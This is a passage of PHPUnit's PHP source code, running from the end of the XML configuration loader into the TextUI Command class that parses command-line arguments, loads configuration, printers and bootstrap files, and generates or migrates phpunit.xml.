$includeUncoveredFiles, $processUncoveredFiles, $ignoreDeprecatedCodeUnits, $disableCodeCoverageIgnore, $clover, $cobertura, $crap4j, $html, $php, $text, $xml ); } /** * If $value is 'false' or 'true', this returns the value that $value represents. * Otherwise, returns $default, which may be a string in rare cases. * * @see \PHPUnit\TextUI\XmlConfigurationTest::testPHPConfigurationIsReadCorrectly * * @param bool|string $default * * @return bool|string */ private function getBoolean(string $value, $default) { if (strtolower($value) === 'false') { return false; } if (strtolower($value) === 'true') { return true; } return $default; } private function readFilterDirectories(string $filename, DOMXPath $xpath, string $query): FilterDirectoryCollection { $directories = []; foreach ($xpath->query($query) as $directoryNode) { assert($directoryNode instanceof DOMElement); $directoryPath = (string) $directoryNode->textContent; if (!$directoryPath) { continue; } $directories[] = new FilterDirectory( $this->toAbsolutePath($filename, $directoryPath), $directoryNode->hasAttribute('prefix') ? (string) $directoryNode->getAttribute('prefix') : '', $directoryNode->hasAttribute('suffix') ? (string) $directoryNode->getAttribute('suffix') : '.php', $directoryNode->hasAttribute('group') ? (string) $directoryNode->getAttribute('group') : 'DEFAULT' ); } return FilterDirectoryCollection::fromArray($directories); } private function readFilterFiles(string $filename, DOMXPath $xpath, string $query): FileCollection { $files = []; foreach ($xpath->query($query) as $file) { $filePath = (string) $file->textContent; if ($filePath) { $files[] = new File($this->toAbsolutePath($filename, $filePath)); } } return FileCollection::fromArray($files); } private function groups(DOMXPath $xpath): Groups { return $this->parseGroupConfiguration($xpath, 'groups'); } private function testdoxGroups(DOMXPath $xpath): Groups { return $this->parseGroupConfiguration($xpath, 'testdoxGroups'); } private function parseGroupConfiguration(DOMXPath $xpath, string $root): Groups { $include = []; $exclude = []; foreach ($xpath->query($root . '/include/group') as $group) { $include[] = new Group((string) $group->textContent); } foreach ($xpath->query($root . '/exclude/group') as $group) { $exclude[] = new Group((string) $group->textContent); } return new Groups( GroupCollection::fromArray($include), GroupCollection::fromArray($exclude) ); } private function listeners(string $filename, DOMXPath $xpath): ExtensionCollection { $listeners = []; foreach ($xpath->query('listeners/listener') as $listener) { assert($listener instanceof DOMElement); $listeners[] = $this->getElementConfigurationParameters($filename, $listener); } return ExtensionCollection::fromArray($listeners); } private function getBooleanAttribute(DOMElement $element, string $attribute, bool $default): bool { if (!$element->hasAttribute($attribute)) { return $default; } return (bool) $this->getBoolean( (string) $element->getAttribute($attribute), false ); } private function getIntegerAttribute(DOMElement $element, string $attribute, int $default): int { if (!$element->hasAttribute($attribute)) { return $default; } return $this->getInteger( (string) $element->getAttribute($attribute), $default ); } private function getStringAttribute(DOMElement $element, string $attribute): ?string { if (!$element->hasAttribute($attribute)) { return null; } return (string) $element->getAttribute($attribute); } private function getInteger(string $value, int $default): int { if (is_numeric($value)) { return (int) $value; } return $default; } private function php(string $filename, DOMXPath $xpath): Php { $includePaths = []; foreach ($xpath->query('php/includePath') as $includePath) { $path = (string) $includePath->textContent; if ($path) { $includePaths[] = new Directory($this->toAbsolutePath($filename, $path)); } } $iniSettings = []; foreach ($xpath->query('php/ini') as $ini) { assert($ini instanceof DOMElement); $iniSettings[] = new IniSetting( (string) $ini->getAttribute('name'), (string) $ini->getAttribute('value') ); } $constants = []; foreach ($xpath->query('php/const') as $const) { assert($const instanceof DOMElement); $value = (string) $const->getAttribute('value'); $constants[] = new Constant( (string) $const->getAttribute('name'), $this->getBoolean($value, $value) ); } $variables = [ 'var' => [], 'env' => [], 'post' => [], 'get' => [], 'cookie' => [], 'server' => [], 'files' => [], 'request' => [], ]; foreach (['var', 'env', 'post', 'get', 'cookie', 'server', 'files', 'request'] as $array) { foreach ($xpath->query('php/' . $array) as $var) { assert($var instanceof DOMElement); $name = (string) $var->getAttribute('name'); $value = (string) $var->getAttribute('value'); $force = false; $verbatim = false; if ($var->hasAttribute('force')) { $force = (bool) $this->getBoolean($var->getAttribute('force'), false); } if ($var->hasAttribute('verbatim')) { $verbatim = $this->getBoolean($var->getAttribute('verbatim'), false); } if (!$verbatim) { $value = $this->getBoolean($value, $value); } $variables[$array][] = new Variable($name, $value, $force); } } return new Php( DirectoryCollection::fromArray($includePaths), IniSettingCollection::fromArray($iniSettings), ConstantCollection::fromArray($constants), VariableCollection::fromArray($variables['var']), VariableCollection::fromArray($variables['env']), VariableCollection::fromArray($variables['post']), VariableCollection::fromArray($variables['get']), VariableCollection::fromArray($variables['cookie']), VariableCollection::fromArray($variables['server']), VariableCollection::fromArray($variables['files']), VariableCollection::fromArray($variables['request']), ); } private function phpunit(string $filename, DOMDocument $document): PHPUnit { $executionOrder = TestSuiteSorter::ORDER_DEFAULT; $defectsFirst = false; $resolveDependencies = $this->getBooleanAttribute($document->documentElement, 'resolveDependencies', true); if ($document->documentElement->hasAttribute('executionOrder')) { foreach (explode(',', $document->documentElement->getAttribute('executionOrder')) as $order) { switch ($order) { case 'default': $executionOrder = TestSuiteSorter::ORDER_DEFAULT; $defectsFirst = false; $resolveDependencies = true; break; case 'depends': $resolveDependencies = true; break; case 'no-depends': $resolveDependencies = false; break; case 'defects': $defectsFirst = true; break; case 'duration': $executionOrder = TestSuiteSorter::ORDER_DURATION; break; case 'random': $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; break; case 'reverse': $executionOrder = TestSuiteSorter::ORDER_REVERSED; break; case 'size': $executionOrder = TestSuiteSorter::ORDER_SIZE; break; } } } $printerClass = $this->getStringAttribute($document->documentElement, 'printerClass'); $testdox = $this->getBooleanAttribute($document->documentElement, 'testdox', false); $conflictBetweenPrinterClassAndTestdox = false; if ($testdox) { if ($printerClass !== null) { $conflictBetweenPrinterClassAndTestdox = true; } $printerClass = CliTestDoxPrinter::class; } $cacheResultFile = $this->getStringAttribute($document->documentElement, 'cacheResultFile'); if ($cacheResultFile !== null) { $cacheResultFile = $this->toAbsolutePath($filename, $cacheResultFile); } $bootstrap = $this->getStringAttribute($document->documentElement, 'bootstrap'); if ($bootstrap !== null) { $bootstrap = $this->toAbsolutePath($filename, $bootstrap); } $extensionsDirectory = $this->getStringAttribute($document->documentElement, 'extensionsDirectory'); if ($extensionsDirectory !== null) { $extensionsDirectory = $this->toAbsolutePath($filename, $extensionsDirectory); } $testSuiteLoaderFile = $this->getStringAttribute($document->documentElement, 'testSuiteLoaderFile'); if ($testSuiteLoaderFile !== null) { $testSuiteLoaderFile = $this->toAbsolutePath($filename, $testSuiteLoaderFile); } $printerFile = $this->getStringAttribute($document->documentElement, 'printerFile'); if ($printerFile !== null) { $printerFile = $this->toAbsolutePath($filename, $printerFile); } return new PHPUnit( $this->getBooleanAttribute($document->documentElement, 'cacheResult', true), $cacheResultFile, $this->getColumns($document), $this->getColors($document), $this->getBooleanAttribute($document->documentElement, 'stderr', false), $this->getBooleanAttribute($document->documentElement, 'noInteraction', false), $this->getBooleanAttribute($document->documentElement, 'verbose', false), $this->getBooleanAttribute($document->documentElement, 'reverseDefectList', false), $this->getBooleanAttribute($document->documentElement, 'convertDeprecationsToExceptions', false), $this->getBooleanAttribute($document->documentElement, 'convertErrorsToExceptions', true), $this->getBooleanAttribute($document->documentElement, 'convertNoticesToExceptions', true), $this->getBooleanAttribute($document->documentElement, 'convertWarningsToExceptions', true), $this->getBooleanAttribute($document->documentElement, 'forceCoversAnnotation', false), $bootstrap, $this->getBooleanAttribute($document->documentElement, 'processIsolation', false), $this->getBooleanAttribute($document->documentElement, 'failOnEmptyTestSuite', false), $this->getBooleanAttribute($document->documentElement, 'failOnIncomplete', false), $this->getBooleanAttribute($document->documentElement, 'failOnRisky', false), $this->getBooleanAttribute($document->documentElement, 'failOnSkipped', false), $this->getBooleanAttribute($document->documentElement, 'failOnWarning', false), $this->getBooleanAttribute($document->documentElement, 'stopOnDefect', false), $this->getBooleanAttribute($document->documentElement, 'stopOnError', false), $this->getBooleanAttribute($document->documentElement, 'stopOnFailure', false), $this->getBooleanAttribute($document->documentElement, 'stopOnWarning', false), $this->getBooleanAttribute($document->documentElement, 'stopOnIncomplete', false), $this->getBooleanAttribute($document->documentElement, 'stopOnRisky', false), $this->getBooleanAttribute($document->documentElement, 'stopOnSkipped', false), $extensionsDirectory, $this->getStringAttribute($document->documentElement, 'testSuiteLoaderClass'), $testSuiteLoaderFile, $printerClass, $printerFile, $this->getBooleanAttribute($document->documentElement, 'beStrictAboutChangesToGlobalState', false), $this->getBooleanAttribute($document->documentElement, 'beStrictAboutOutputDuringTests', false), $this->getBooleanAttribute($document->documentElement, 'beStrictAboutResourceUsageDuringSmallTests', false), $this->getBooleanAttribute($document->documentElement, 'beStrictAboutTestsThatDoNotTestAnything', true), $this->getBooleanAttribute($document->documentElement, 'beStrictAboutTodoAnnotatedTests', false), $this->getBooleanAttribute($document->documentElement, 'beStrictAboutCoversAnnotation', false), $this->getBooleanAttribute($document->documentElement, 'enforceTimeLimit', false), $this->getIntegerAttribute($document->documentElement, 'defaultTimeLimit', 1), $this->getIntegerAttribute($document->documentElement, 'timeoutForSmallTests', 1), $this->getIntegerAttribute($document->documentElement, 'timeoutForMediumTests', 10), $this->getIntegerAttribute($document->documentElement, 'timeoutForLargeTests', 60), $this->getStringAttribute($document->documentElement, 'defaultTestSuite'), $executionOrder, $resolveDependencies, $defectsFirst, $this->getBooleanAttribute($document->documentElement, 'backupGlobals', false), $this->getBooleanAttribute($document->documentElement, 'backupStaticAttributes', false), $this->getBooleanAttribute($document->documentElement, 'registerMockObjectsFromTestArgumentsRecursively', false), $conflictBetweenPrinterClassAndTestdox ); } private function getColors(DOMDocument $document): string { $colors = DefaultResultPrinter::COLOR_DEFAULT; if ($document->documentElement->hasAttribute('colors')) { /* only allow boolean for compatibility with previous versions 'always' only allowed from command line */ if ($this->getBoolean($document->documentElement->getAttribute('colors'), false)) { $colors = DefaultResultPrinter::COLOR_AUTO; } else { $colors = DefaultResultPrinter::COLOR_NEVER; } } return $colors; } /** * @return int|string */ private function getColumns(DOMDocument $document) { $columns = 80; if ($document->documentElement->hasAttribute('columns')) { $columns = (string) $document->documentElement->getAttribute('columns'); if ($columns !== 'max') { $columns = $this->getInteger($columns, 80); } } return $columns; } private function testSuite(string $filename, DOMXPath $xpath): TestSuiteCollection { $testSuites = []; foreach ($this->getTestSuiteElements($xpath) as $element) { $exclude = []; foreach ($element->getElementsByTagName('exclude') as $excludeNode) { $excludeFile = (string) $excludeNode->textContent; if ($excludeFile) { $exclude[] = new File($this->toAbsolutePath($filename, $excludeFile)); } } $directories = []; foreach ($element->getElementsByTagName('directory') as $directoryNode) { assert($directoryNode instanceof DOMElement); $directory = (string) $directoryNode->textContent; if (empty($directory)) { continue; } $prefix = ''; if ($directoryNode->hasAttribute('prefix')) { $prefix = (string) $directoryNode->getAttribute('prefix'); } $suffix = 'Test.php'; if ($directoryNode->hasAttribute('suffix')) { $suffix = (string) $directoryNode->getAttribute('suffix'); } $phpVersion = PHP_VERSION; if ($directoryNode->hasAttribute('phpVersion')) { $phpVersion = (string) $directoryNode->getAttribute('phpVersion'); } $phpVersionOperator = new VersionComparisonOperator('>='); if ($directoryNode->hasAttribute('phpVersionOperator')) { $phpVersionOperator = new VersionComparisonOperator((string) $directoryNode->getAttribute('phpVersionOperator')); } $directories[] = new TestDirectory( $this->toAbsolutePath($filename, $directory), $prefix, $suffix, $phpVersion, $phpVersionOperator ); } $files = []; foreach ($element->getElementsByTagName('file') as $fileNode) { assert($fileNode instanceof DOMElement); $file = (string) $fileNode->textContent; if (empty($file)) { continue; } $phpVersion = PHP_VERSION; if ($fileNode->hasAttribute('phpVersion')) { $phpVersion = (string) $fileNode->getAttribute('phpVersion'); } $phpVersionOperator = new VersionComparisonOperator('>='); if ($fileNode->hasAttribute('phpVersionOperator')) { $phpVersionOperator = new VersionComparisonOperator((string) $fileNode->getAttribute('phpVersionOperator')); } $files[] = new TestFile( $this->toAbsolutePath($filename, $file), $phpVersion, $phpVersionOperator ); } $testSuites[] = new TestSuiteConfiguration( (string) $element->getAttribute('name'), TestDirectoryCollection::fromArray($directories), TestFileCollection::fromArray($files), FileCollection::fromArray($exclude) ); } return TestSuiteCollection::fromArray($testSuites); } /** * @return DOMElement[] */ private function getTestSuiteElements(DOMXPath $xpath): array { /** @var DOMElement[] $elements */ $elements = []; $testSuiteNodes = $xpath->query('testsuites/testsuite'); if ($testSuiteNodes->length === 0) { $testSuiteNodes = $xpath->query('testsuite'); } if ($testSuiteNodes->length === 1) { $element = $testSuiteNodes->item(0); assert($element instanceof DOMElement); $elements[] = $element; } else { foreach ($testSuiteNodes as $testSuiteNode) { assert($testSuiteNode instanceof DOMElement); $elements[] = $testSuiteNode; } } return $elements; } private function element(DOMXPath $xpath, string $element): ?DOMElement { $nodes = $xpath->query($element); if ($nodes->length === 1) { $node = $nodes->item(0); assert($node instanceof DOMElement); return $node; } return null; } } res/readability/vendor/phpunit/phpunit/src/TextUI/Command.php000064400000065356147577714370020406 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use const PATH_SEPARATOR; use const PHP_EOL; use const STDIN; use function array_keys; use function assert; use function class_exists; use function copy; use function extension_loaded; use function fgets; use function file_get_contents; use function file_put_contents; use function get_class; use function getcwd; use function ini_get; use function ini_set; use function is_callable; use function is_dir; use function is_file; use function is_string; use function printf; use function realpath; use function sort; use function sprintf; use function stream_resolve_include_path; use function strpos; use function trim; use function version_compare; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\Extension\PharLoader; use PHPUnit\Runner\StandardTestSuiteLoader; use PHPUnit\Runner\TestSuiteLoader; use PHPUnit\Runner\Version; use PHPUnit\TextUI\CliArguments\Builder; use PHPUnit\TextUI\CliArguments\Configuration; use PHPUnit\TextUI\CliArguments\Exception as ArgumentsException; use PHPUnit\TextUI\CliArguments\Mapper; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\FilterMapper; use PHPUnit\TextUI\XmlConfiguration\Generator; use PHPUnit\TextUI\XmlConfiguration\Loader; use PHPUnit\TextUI\XmlConfiguration\Migrator; use PHPUnit\TextUI\XmlConfiguration\PhpHandler; use PHPUnit\Util\FileLoader; use PHPUnit\Util\Filesystem; use PHPUnit\Util\Printer; use PHPUnit\Util\TextTestListRenderer; use PHPUnit\Util\Xml\SchemaDetector; use PHPUnit\Util\XmlTestListRenderer; use ReflectionClass; use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\StaticAnalysis\CacheWarmer; use SebastianBergmann\Timer\Timer; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ class Command { /** * @var array */ protected $arguments = []; /** * @var array */ protected $longOptions = []; /** * @var bool */ private $versionStringPrinted = false; /** * @psalm-var list */ private $warnings = []; /** * @throws Exception */ public static function main(bool $exit = true): int { try { return (new static)->run($_SERVER['argv'], $exit); } catch (Throwable $t) { throw new RuntimeException( $t->getMessage(), (int) $t->getCode(), $t ); } } /** * @throws Exception */ public function run(array $argv, bool $exit = true): int { $this->handleArguments($argv); $runner = $this->createRunner(); if ($this->arguments['test'] instanceof TestSuite) { $suite = $this->arguments['test']; } else { $suite = $runner->getTest( $this->arguments['test'], $this->arguments['testSuffixes'] ); } if ($this->arguments['listGroups']) { return $this->handleListGroups($suite, $exit); } if ($this->arguments['listSuites']) { return $this->handleListSuites($exit); } if ($this->arguments['listTests']) { return $this->handleListTests($suite, $exit); } if ($this->arguments['listTestsXml']) { return $this->handleListTestsXml($suite, $this->arguments['listTestsXml'], $exit); } unset($this->arguments['test'], $this->arguments['testFile']); try { $result = $runner->run($suite, $this->arguments, $this->warnings, $exit); } catch (Throwable $t) { print $t->getMessage() . PHP_EOL; } $return = TestRunner::FAILURE_EXIT; if (isset($result) && $result->wasSuccessful()) { $return = TestRunner::SUCCESS_EXIT; } elseif (!isset($result) || $result->errorCount() > 0) { $return = TestRunner::EXCEPTION_EXIT; } if ($exit) { exit($return); } return $return; } /** * Create a TestRunner, override in subclasses. */ protected function createRunner(): TestRunner { return new TestRunner($this->arguments['loader']); } /** * Handles the command-line arguments. * * A child class of PHPUnit\TextUI\Command can hook into the argument * parsing by adding the switch(es) to the $longOptions array and point to a * callback method that handles the switch(es) in the child class like this * * * longOptions['my-switch'] = 'myHandler'; * // my-secondswitch will accept a value - note the equals sign * $this->longOptions['my-secondswitch='] = 'myOtherHandler'; * } * * // --my-switch -> myHandler() * protected function myHandler() * { * } * * // --my-secondswitch foo -> myOtherHandler('foo') * protected function myOtherHandler ($value) * { * } * * // You will also need this - the static keyword in the * // PHPUnit\TextUI\Command will mean that it'll be * // PHPUnit\TextUI\Command that gets instantiated, * // not MyCommand * public static function main($exit = true) * { * $command = new static; * * return $command->run($_SERVER['argv'], $exit); * } * * } * * * @throws Exception */ protected function handleArguments(array $argv): void { try { $arguments = (new Builder)->fromParameters($argv, array_keys($this->longOptions)); } catch (ArgumentsException $e) { $this->exitWithErrorMessage($e->getMessage()); } assert(isset($arguments) && $arguments instanceof Configuration); if ($arguments->hasGenerateConfiguration() && $arguments->generateConfiguration()) { $this->generateConfiguration(); } if ($arguments->hasAtLeastVersion()) { if (version_compare(Version::id(), $arguments->atLeastVersion(), '>=')) { exit(TestRunner::SUCCESS_EXIT); } exit(TestRunner::FAILURE_EXIT); } if ($arguments->hasVersion() && $arguments->version()) { $this->printVersionString(); exit(TestRunner::SUCCESS_EXIT); } if ($arguments->hasCheckVersion() && $arguments->checkVersion()) { $this->handleVersionCheck(); } if ($arguments->hasHelp()) { $this->showHelp(); exit(TestRunner::SUCCESS_EXIT); } if ($arguments->hasUnrecognizedOrderBy()) { $this->exitWithErrorMessage( sprintf( 'unrecognized --order-by option: %s', $arguments->unrecognizedOrderBy() ) ); } if ($arguments->hasIniSettings()) { foreach ($arguments->iniSettings() as $name => $value) { ini_set($name, $value); } } if ($arguments->hasIncludePath()) { ini_set( 'include_path', $arguments->includePath() . PATH_SEPARATOR . ini_get('include_path') ); } $this->arguments = (new Mapper)->mapToLegacyArray($arguments); $this->handleCustomOptions($arguments->unrecognizedOptions()); $this->handleCustomTestSuite(); if (!isset($this->arguments['testSuffixes'])) { $this->arguments['testSuffixes'] = ['Test.php', '.phpt']; } if (!isset($this->arguments['test']) && $arguments->hasArgument()) { $this->arguments['test'] = realpath($arguments->argument()); if ($this->arguments['test'] === false) { $this->exitWithErrorMessage( sprintf( 'Cannot open file "%s".', $arguments->argument() ) ); } } if ($this->arguments['loader'] !== null) { $this->arguments['loader'] = $this->handleLoader($this->arguments['loader']); } if (isset($this->arguments['configuration'])) { if (is_dir($this->arguments['configuration'])) { $candidate = $this->configurationFileInDirectory($this->arguments['configuration']); if ($candidate !== null) { $this->arguments['configuration'] = $candidate; } } } elseif ($this->arguments['useDefaultConfiguration']) { $candidate = $this->configurationFileInDirectory(getcwd()); if ($candidate !== null) { $this->arguments['configuration'] = $candidate; } } if ($arguments->hasMigrateConfiguration() && $arguments->migrateConfiguration()) { if (!isset($this->arguments['configuration'])) { print 'No configuration file found to migrate.' . PHP_EOL; exit(TestRunner::EXCEPTION_EXIT); } $this->migrateConfiguration(realpath($this->arguments['configuration'])); } if (isset($this->arguments['configuration'])) { try { $this->arguments['configurationObject'] = (new Loader)->load($this->arguments['configuration']); } catch (Throwable $e) { print $e->getMessage() . PHP_EOL; exit(TestRunner::FAILURE_EXIT); } $phpunitConfiguration = $this->arguments['configurationObject']->phpunit(); (new PhpHandler)->handle($this->arguments['configurationObject']->php()); if (isset($this->arguments['bootstrap'])) { $this->handleBootstrap($this->arguments['bootstrap']); } elseif ($phpunitConfiguration->hasBootstrap()) { $this->handleBootstrap($phpunitConfiguration->bootstrap()); } if (!isset($this->arguments['stderr'])) { $this->arguments['stderr'] = $phpunitConfiguration->stderr(); } if (!isset($this->arguments['noExtensions']) && $phpunitConfiguration->hasExtensionsDirectory() && extension_loaded('phar')) { $result = (new PharLoader)->loadPharExtensionsInDirectory($phpunitConfiguration->extensionsDirectory()); $this->arguments['loadedExtensions'] = $result['loadedExtensions']; $this->arguments['notLoadedExtensions'] = $result['notLoadedExtensions']; unset($result); } if (!isset($this->arguments['columns'])) { $this->arguments['columns'] = $phpunitConfiguration->columns(); } if (!isset($this->arguments['printer']) && $phpunitConfiguration->hasPrinterClass()) { $file = $phpunitConfiguration->hasPrinterFile() ? $phpunitConfiguration->printerFile() : ''; $this->arguments['printer'] = $this->handlePrinter( $phpunitConfiguration->printerClass(), $file ); } if ($phpunitConfiguration->hasTestSuiteLoaderClass()) { $file = $phpunitConfiguration->hasTestSuiteLoaderFile() ? $phpunitConfiguration->testSuiteLoaderFile() : ''; $this->arguments['loader'] = $this->handleLoader( $phpunitConfiguration->testSuiteLoaderClass(), $file ); } if (!isset($this->arguments['testsuite']) && $phpunitConfiguration->hasDefaultTestSuite()) { $this->arguments['testsuite'] = $phpunitConfiguration->defaultTestSuite(); } if (!isset($this->arguments['test'])) { try { $this->arguments['test'] = (new TestSuiteMapper)->map( $this->arguments['configurationObject']->testSuite(), $this->arguments['testsuite'] ?? '' ); } catch (Exception $e) { $this->printVersionString(); print $e->getMessage() . PHP_EOL; exit(TestRunner::EXCEPTION_EXIT); } } } elseif (isset($this->arguments['bootstrap'])) { $this->handleBootstrap($this->arguments['bootstrap']); } if (isset($this->arguments['printer']) && is_string($this->arguments['printer'])) { $this->arguments['printer'] = $this->handlePrinter($this->arguments['printer']); } if (isset($this->arguments['configurationObject'], $this->arguments['warmCoverageCache'])) { $this->handleWarmCoverageCache($this->arguments['configurationObject']); } if (!isset($this->arguments['test'])) { $this->showHelp(); exit(TestRunner::EXCEPTION_EXIT); } } /** * Handles the loading of the PHPUnit\Runner\TestSuiteLoader implementation. * * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 */ protected function handleLoader(string $loaderClass, string $loaderFile = ''): ?TestSuiteLoader { $this->warnings[] = 'Using a custom test suite loader is deprecated'; if (!class_exists($loaderClass, false)) { if ($loaderFile == '') { $loaderFile = Filesystem::classNameToFilename( $loaderClass ); } $loaderFile = stream_resolve_include_path($loaderFile); if ($loaderFile) { /** * @noinspection PhpIncludeInspection * @psalm-suppress UnresolvableInclude */ require $loaderFile; } } if (class_exists($loaderClass, false)) { try { $class = new ReflectionClass($loaderClass); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($class->implementsInterface(TestSuiteLoader::class) && $class->isInstantiable()) { $object = $class->newInstance(); assert($object instanceof TestSuiteLoader); return $object; } } if ($loaderClass == StandardTestSuiteLoader::class) { return null; } $this->exitWithErrorMessage( sprintf( 'Could not use "%s" as loader.', $loaderClass ) ); return null; } /** * Handles the loading of the PHPUnit\Util\Printer implementation. * * @return null|Printer|string */ protected function handlePrinter(string $printerClass, string $printerFile = '') { if (!class_exists($printerClass, false)) { if ($printerFile === '') { $printerFile = Filesystem::classNameToFilename( $printerClass ); } $printerFile = stream_resolve_include_path($printerFile); if ($printerFile) { /** * @noinspection PhpIncludeInspection * @psalm-suppress UnresolvableInclude */ require $printerFile; } } if (!class_exists($printerClass)) { $this->exitWithErrorMessage( sprintf( 'Could not use "%s" as printer: class does not exist', $printerClass ) ); } try { $class = new ReflectionClass($printerClass); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); // @codeCoverageIgnoreEnd } if (!$class->implementsInterface(ResultPrinter::class)) { $this->exitWithErrorMessage( sprintf( 'Could not use "%s" as printer: class does not implement %s', $printerClass, ResultPrinter::class ) ); } if (!$class->isInstantiable()) { $this->exitWithErrorMessage( sprintf( 'Could not use "%s" as printer: class cannot be instantiated', $printerClass ) ); } if ($class->isSubclassOf(ResultPrinter::class)) { return $printerClass; } $outputStream = isset($this->arguments['stderr']) ? 'php://stderr' : null; return $class->newInstance($outputStream); } /** * Loads a bootstrap file. */ protected function handleBootstrap(string $filename): void { try { FileLoader::checkAndLoad($filename); } catch (Throwable $t) { if ($t instanceof \PHPUnit\Exception) { $this->exitWithErrorMessage($t->getMessage()); } $this->exitWithErrorMessage( sprintf( 'Error in bootstrap script: %s:%s%s%s%s', get_class($t), PHP_EOL, $t->getMessage(), PHP_EOL, $t->getTraceAsString() ) ); } } protected function handleVersionCheck(): void { $this->printVersionString(); $latestVersion = file_get_contents('https://phar.phpunit.de/latest-version-of/phpunit'); $isOutdated = version_compare($latestVersion, Version::id(), '>'); if ($isOutdated) { printf( 'You are not using the latest version of PHPUnit.' . PHP_EOL . 'The latest version is PHPUnit %s.' . PHP_EOL, $latestVersion ); } else { print 'You are using the latest version of PHPUnit.' . PHP_EOL; } exit(TestRunner::SUCCESS_EXIT); } /** * Show the help message. */ protected function showHelp(): void { $this->printVersionString(); (new Help)->writeToConsole(); } /** * Custom callback for test suite discovery. */ protected function handleCustomTestSuite(): void { } private function printVersionString(): void { if ($this->versionStringPrinted) { return; } print Version::getVersionString() . PHP_EOL . PHP_EOL; $this->versionStringPrinted = true; } private function exitWithErrorMessage(string $message): void { $this->printVersionString(); print $message . PHP_EOL; exit(TestRunner::FAILURE_EXIT); } private function handleListGroups(TestSuite $suite, bool $exit): int { $this->printVersionString(); print 'Available test group(s):' . PHP_EOL; $groups = $suite->getGroups(); sort($groups); foreach ($groups as $group) { if (strpos($group, '__phpunit_') === 0) { continue; } printf( ' - %s' . PHP_EOL, $group ); } if ($exit) { exit(TestRunner::SUCCESS_EXIT); } return TestRunner::SUCCESS_EXIT; } /** * @throws \PHPUnit\Framework\Exception * @throws \PHPUnit\TextUI\XmlConfiguration\Exception */ private function handleListSuites(bool $exit): int { $this->printVersionString(); print 'Available test suite(s):' . PHP_EOL; foreach ($this->arguments['configurationObject']->testSuite() as $testSuite) { printf( ' - %s' . PHP_EOL, $testSuite->name() ); } if ($exit) { exit(TestRunner::SUCCESS_EXIT); } return TestRunner::SUCCESS_EXIT; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function handleListTests(TestSuite $suite, bool $exit): int { $this->printVersionString(); $renderer = new TextTestListRenderer; print $renderer->render($suite); if ($exit) { exit(TestRunner::SUCCESS_EXIT); } return TestRunner::SUCCESS_EXIT; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function handleListTestsXml(TestSuite $suite, string $target, bool $exit): int { $this->printVersionString(); $renderer = new XmlTestListRenderer; file_put_contents($target, $renderer->render($suite)); printf( 'Wrote list of tests that would have been run to %s' . PHP_EOL, $target ); if ($exit) { exit(TestRunner::SUCCESS_EXIT); } return TestRunner::SUCCESS_EXIT; } private function generateConfiguration(): void { $this->printVersionString(); print 'Generating phpunit.xml in ' . getcwd() . PHP_EOL . PHP_EOL; print 'Bootstrap script (relative to path shown above; default: vendor/autoload.php): '; $bootstrapScript = trim(fgets(STDIN)); print 'Tests directory (relative to path shown above; default: tests): '; $testsDirectory = trim(fgets(STDIN)); print 'Source directory (relative to path shown above; default: src): '; $src = trim(fgets(STDIN)); print 'Cache directory (relative to path shown above; default: .phpunit.cache): '; $cacheDirectory = trim(fgets(STDIN)); if ($bootstrapScript === '') { $bootstrapScript = 'vendor/autoload.php'; } if ($testsDirectory === '') { $testsDirectory = 'tests'; } if ($src === '') { $src = 'src'; } if ($cacheDirectory === '') { $cacheDirectory = '.phpunit.cache'; } $generator = new Generator; file_put_contents( 'phpunit.xml', $generator->generateDefaultConfiguration( Version::series(), $bootstrapScript, $testsDirectory, $src, $cacheDirectory ) ); print PHP_EOL . 'Generated phpunit.xml in ' . getcwd() . '.' . PHP_EOL; print 'Make sure to exclude the ' . $cacheDirectory . ' directory from version control.' . PHP_EOL; exit(TestRunner::SUCCESS_EXIT); } private function migrateConfiguration(string $filename): void { $this->printVersionString(); if (!(new SchemaDetector)->detect($filename)->detected()) { print $filename . ' does not need to be migrated.' . PHP_EOL; exit(TestRunner::EXCEPTION_EXIT); } copy($filename, $filename . '.bak'); print 'Created backup: ' . $filename . '.bak' . PHP_EOL; try { file_put_contents( $filename, (new Migrator)->migrate($filename) ); print 'Migrated configuration: ' . $filename . PHP_EOL; } catch (Throwable $t) { print 'Migration failed: ' . $t->getMessage() . PHP_EOL; exit(TestRunner::EXCEPTION_EXIT); } exit(TestRunner::SUCCESS_EXIT); } private function handleCustomOptions(array $unrecognizedOptions): void { foreach ($unrecognizedOptions as $name => $value) { if (isset($this->longOptions[$name])) { $handler = $this->longOptions[$name]; } $name .= '='; if (isset($this->longOptions[$name])) { $handler = $this->longOptions[$name]; } if (isset($handler) && is_callable([$this, $handler])) { $this->{$handler}($value); unset($handler); } } } private function handleWarmCoverageCache(XmlConfiguration\Configuration $configuration): void { $this->printVersionString(); if (isset($this->arguments['coverageCacheDirectory'])) { $cacheDirectory = $this->arguments['coverageCacheDirectory']; } elseif ($configuration->codeCoverage()->hasCacheDirectory()) { $cacheDirectory = $configuration->codeCoverage()->cacheDirectory()->path(); } else { print 'Cache for static analysis has not been configured' . PHP_EOL; exit(TestRunner::EXCEPTION_EXIT); } $filter = new Filter; if ($configuration->codeCoverage()->hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()) { (new FilterMapper)->map( $filter, $configuration->codeCoverage() ); } elseif (isset($this->arguments['coverageFilter'])) { if (!is_array($this->arguments['coverageFilter'])) { $coverageFilterDirectories = [$this->arguments['coverageFilter']]; } else { $coverageFilterDirectories = $this->arguments['coverageFilter']; } foreach ($coverageFilterDirectories as $coverageFilterDirectory) { $filter->includeDirectory($coverageFilterDirectory); } } else { print 'Filter for code coverage has not been configured' . PHP_EOL; exit(TestRunner::EXCEPTION_EXIT); } $timer = new Timer; $timer->start(); print 'Warming cache for static analysis ... '; (new CacheWarmer)->warmCache( $cacheDirectory, 